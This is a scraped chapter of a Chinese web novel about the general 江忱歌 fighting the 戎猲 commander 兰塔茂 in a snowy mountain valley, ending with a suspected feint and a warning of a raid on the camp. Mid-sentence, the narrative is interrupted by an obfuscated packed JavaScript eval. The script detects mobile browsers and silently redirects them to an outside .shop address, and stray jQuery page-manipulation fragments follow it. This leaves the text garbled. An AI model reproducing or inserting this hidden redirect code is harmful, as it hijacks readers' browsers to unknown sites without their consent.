文趣网 > 其他小说 > 关山同此雪 > 3. 突袭
    江忱歌率领人马行至西鸣山侧峰山谷地带,再向前便是一片地势空旷的平原。

    两侧崖壁悬立,山上大石盘桓,又层层堆叠掩映。这是一个绝佳的埋伏之地,江忱歌派探子登上山顶查看,确实是位置隐蔽,适合安排伏兵。

    于是她下令让宗慕风带着一部分人马在此处埋伏,自己又带着剩下的队伍继续前进,在山前平原处排开了阵列,决意到时将戎猲引入山谷,趁机歼灭。

    昨日刚下的大雪,今晨虽天气放晴,却依旧寒风湿冷,积雪没足。南安军众路各领军令,列阵以待,静谧中透露出战前的紧张气息。江忱歌骑着马屏息凝神,注意去听远方是否有戎猲的军马声。

    渐渐地,远处逐渐传来沉重的脚步声,缓缓向他们逼近。声势越来越浩大,围绕四周的山岩仿佛也跟着颤动起来,一听便知人马不少。

    “来了。”江忱歌在心中吸了口气,抬手示意众军准备。

    原本聚拢在一起的队伍瞬间散开,一面面铁盾紧密挡在军前,构筑起一道坚固的屏障,似乎将山前与山后冷硬地切割成两个世界。弓箭手被掩护在盾后,张开弓蓄势待发。

    很快,南安军的视线中便出现了戎猲大军的身影——仿佛一大片黑云,突然在雪山素影之上蒙了层压抑的阴翳。戎猲士兵头戴貂帽,身着铁甲,脚上的鹿皮靴踏碎冰花,带来粗重的沙沙声。

    戎猲人个个生得魁梧高大,体格强壮,却不喜约束,因此队列并没有那么齐整。前排步兵刚刚露头之时,江忱歌便看准时机,高声下令:

    “——放箭!”

    顷刻间,数千只淬着光的利箭倾泻而出,在山间汇成一股黑压压的箭雨,纷纷向戎猲而去。戎猲军队迅速列好阵型,用盾抵挡住了南安军的第一波攻势。

    “调整阵型,继续!”江忱歌下令道。

    而在这时,戎猲方的弓箭手也已就位,开始放箭,于是两边的箭镞便交织在了一起。南安军与戎猲之间的距离胶着着,谁也没有再进一步。

    第三轮箭攻结束后,江忱歌心中估算着宗慕风那边的埋伏应已布置妥当,便不再欲与戎猲远程拉扯。却不料戎猲军队也几乎同时停下,其军中突然传来一阵马蹄声。

    “江姑娘,又见面了。”

    这时,不远处戎猲的大军中冒出一个骑着黑马的高大男子身影,语气中带着一丝嘲讽。

    江忱歌扬眉望去,只见是一个身长八尺的戎猲大将,面色黝黑,生得一脸络腮胡,长额方脸,气势雄武。

    对方身下的黑马发出一声嘹亮的嘶鸣,他抬手勒紧缰绳,一身锃亮的金甲于胸前刻着一个虎头,在墨色的戎猲军队中显得格外突出。

    一看见那虎头金甲,江忱歌便知是谁了。

    “兰塔茂,你竟还敢再犯我云启边境?”江忱歌轻笑一声,提高音量向对面道,“我哥哥那年的一箭之伤好全了吗?”

    “呵,江姑娘还真是关心我啊~”兰塔茂阴阳怪气地笑着,“能有美人过问,我这伤也是受得值了。”

    他一面拿眼斜睨着江忱歌,目光几近下流,一面扯着嗓子嚷道:“当年我就说让你嫁给我,这边界自然就无事了,谁让你哥哥不同意呢?不过现在也来得及!”

    “呸!就你也配?!”江忱歌身边的副将张盛终于没忍住,怒火冲天地斥骂道。

    然而江忱歌却不见丝毫愠意,嘴角反倒挂着一抹饶有趣味的笑意。

    她偏头安抚张盛,接着转向兰塔茂,故作惊讶道:“哎呀呀,我听说你们戎猲人均命短,一般到您这个年纪都有孙辈了,将军怎么还没娶妻?怕是要来不及喽——”

    “你!!!”兰塔茂被她的话一梗,指着她一时气急,半晌后才冷静下来,挤出一个阴森的笑容,“既然江姑娘不领情,那就休怪我不懂怜香惜玉了!”

    说着他拔出腰间的双月弯刀,向南安军方向猛然一挥:“给我杀!!!”

    江忱歌同样利剑出鞘——剑身划破山间的肃萧寒气,闪掠过一道惊鸿银光——她柳眉微挑,眸中却是沉郁浓烈的杀气,声线清亮:

    “众将士听令!布阵,随我共抗外敌!”

    旋即金属相撞,刀剑争鸣。上一秒还是明净的白刃下一秒便沾满血迹。戎猲与南安的士兵们厮杀在一起,吵嚷,呻吟,兵器铿然,热血喷溅,各种声音嘈嘈杂杂混在一起,于原本空旷的山谷中回荡。

    步卒拉扯往来,脚下寸土必争,僵持不下。

    一阵铁蹄之声使雪子颤动着,滚下山崖,抬首只见是戎猲的骑兵终于出动,提着弯刃加入了战局,很快冲破了部分南安军布置严密的阵法,撞出缺口来。江忱歌立马下令己方的骑兵行动,同时手中缰绳一甩,便策马从后方杀入重围。剑花缭乱,出手干脆,还未看清身形时便已结果了数人。

    兰塔茂紧跟骑兵身后,双刀挥舞着很快斩下数个人头,伴随着其放肆的大笑,招式狠辣野蛮,仿佛一只嗜血的疯狗。

    他提刀向江忱歌杀来,双刃砍向江忱歌头顶,却被其抬剑接住,使他虎口发麻。那柄流云剑与双月弯刀碰撞出沉重却清脆的声响,又被彼此弹开了一段距离,只剩嗡然的鸣声还在一圈圈回荡。

    兰塔茂被刀风震得有些摇摆,他刚想坐稳身子,江忱歌的剑已又向他袭来,剑势凌厉迅疾——他心头一惊,俯身躲闪,锋利的薄刃便从他的鼻尖堪堪擦过,在他眼前扬起泛着寒意的白光,削下了他鬓边的一缕发丝。

    他不禁暗自庆幸一番,马上借着空隙直起身子。只见江忱歌依旧气定神闲地端坐马背之上,青丝飞扬,明媚英气的五官神色沉定自若,整个人宛如一道耀而不显的日曦。这是作为少年常胜将军的底气与风度,却令兰塔茂分外恼怒。

    他抬起手中的刀向江忱歌右侧砍去,对方却早有预料似地偏身避开,又提剑抵住他刀的底端,向上一挑,便瞬间化守为攻,令他的刀丝毫无法靠近她身。

    流云剑和双月弯刀交缠在一起,两方均是步步杀意,刀剑往来之间,兰塔茂忽然多了几分恍惚——眼前的少女一招一式都会勾起他那有些久远了的记忆,相似的出手,相似的缜密,还有,江家人的眉眼——这些都是他越发生怯,胸口那分明早已好了的疤痕却仿佛渐渐灼热起来。

    何况,他能清晰地感觉到,对方剑术了得,甚至比她那位死去的兄长还要老练几分。

    若拖下去,他绝不是她的对手!

    兰塔茂心中浮现出战前那位的耳语,明白自己似乎有些恋战了——或许是因,他实在想报曾经那该死的一箭之仇。

    可若再不按计划行事,等待他的,恐怕就是戎猲的军法。

    对面的江忱歌突然感到对方的刀势力道减了几分,不再像先前那般狠厉逼人,心中顿时生出些疑惑来。然而更深的,却是隐隐的不安。

    兰塔茂的刀势看着狠戾,却处处留了后手,三次劈砍都刻意避开了她的马腹与要害,甚至故意露了两个能让她一击制敌的破绽。

    趁着两人拉开一定距离的空档,她飞速观察了一番场上形势,却意外察觉双方似打个平手,谁也没多出几分优势——然而她是带了与其大致相当的三万人马而来,却有部分正在山谷中设伏——照理说戎猲应更占上风,她便可正好趁计将他们诱骗至山谷中去。

    戎猲的实力为何削弱成这样?

    江忱歌这般想着,忽而极想尽快实施计划,歼灭兰塔茂的人马。

    南安军按计慢慢后撤,这对戎猲而言定是一个极佳的反攻机会,可就在这时,本还在交手的兰塔茂突

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676512|207488||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    然莫名露了个破绽,流云剑就这般刺破对方的征衣,在其左臂上划出一道血口子,但却让江忱歌剑锋微顿——

    武将对于对手的变化总是分外敏感,江忱歌惊诧地抬眸,却见兰塔茂脸上并无愤意,反倒嘴角好似微不可察地上扬了些许弧度。

    她正欲细想,对方却忽而调转马头,高呼一声:

    “撤!”

    瞬时,原本还在厮杀的戎猲队伍霎那间如摧枯拉朽,丝毫没有想与南安军再做半分纠缠之意,乌泱泱地向后退去,像一场来势汹汹但去也匆匆的洪水。

    南安军皆有些意外:戎猲的进攻来得突然,可这时撤军也是突然,竟如扮家家酒一般!然而有人正杀得上头,遇上对手忽而露怯,血气方刚地就冲上去又杀了几个逃兵。

    戎猲人撤得很快,江忱歌还有些愣神时,就听张盛策马至她身边问道:“将军,我们追吗?”

    江忱歌环顾场内,南安军的将士们正热血澎湃,不少人正望着戎猲败逃而去的方向着急,都想着能乘胜追击,好再立几个军功。

    她的脑海中闪过那幅裴厌线上的布防图:若是真的,那么对方的第一道哨关,她是可以趁着己方士气高涨,戎猲防备空虚之际,顺势夺下的,这就能使云启打通连接西鸣山两翼的狭道。

    然而,江忱歌眼前出现了兰塔茂那抹意味不明的笑来——

    “不必,戎猲退得突然,我怀疑有诈。”她沉吟后开口。

    山谷中传来寒风的呜咽,一只鸷鸟凄厉地啼唤了一声,时高时低地在两山间盘桓。南安军此次伤亡不算大,横卧于白皑皑雪原之上的,竟大多为戎猲士兵的尸体。

    听着几路来报,江忱歌默默地将大片大片渗染进雪中的殷红血色看在眼里,在一刹那中灵光一闪,忙望向张盛:

    “等等,戎猲人马数目似乎有异。”

    副将愣了愣,经自己将军这么一提醒,他也察觉到了一些不对劲。

    “这次弟兄们好像打得还算轻松,戎猲人那该死的骑兵数量似乎也没往常那般多……”

    正是如此!戎猲向来倚仗骑兵,而此次骑兵却似乎不如过往浩荡,相反多仰赖步卒冲锋。据各方来看,戎猲兵力并无斥候来报的那般声势,最多二万!

    江忱歌的眉头瞬间紧锁:明明斥候的消息绝不只二万大军,怎么会相差如此之大?!

    一个令人心惊的猜测突然涌上她的心头——江忱歌瞳孔一缩,语气急促道:

    “不好!立即回防!!!”

    ·

    何怀远正带着一队士兵在营内巡逻,忽见前方出现一个高挑而清瘦的身影,穿着一袭月白的锦袍,看着极俊逸不凡。

    他立马认出来人,是那位清晨刚见过的裴军师,于是快步向对方走去。

    裴厌似乎也是来找他的,脚步在他面前停下,行了个礼。

    他回礼问道:“军师怎么不待在帐中?”

    “在下正想来找统制您,”裴厌看着他,沉声道,“不知可否借一步说话?”

    何怀远回头望了望身后的士兵,有些为难地挠挠头:“实在对不住军师,将军命我巡查营中,恐怕脱不开身。军师有事,不如等将军回来再说?”

    “或许不行,”裴厌神色颇为严肃,摇了摇头,“不会耽误您太多时间。”

    听他如此说,无奈下,何怀远只得跟随裴厌走到一旁,问他何事。

    “在下想知道,目前军中有多少人员留守?”

    何怀远想了想,回答:“大约五千左右。”

    他见裴厌听了这话,眉间微微一蹙,有些奇怪,于是问道:“军师有何疑虑?”

    “在下只是有些担心,”裴厌垂下眸子,后又抬眼望他,“戎猲可能会突袭军营。”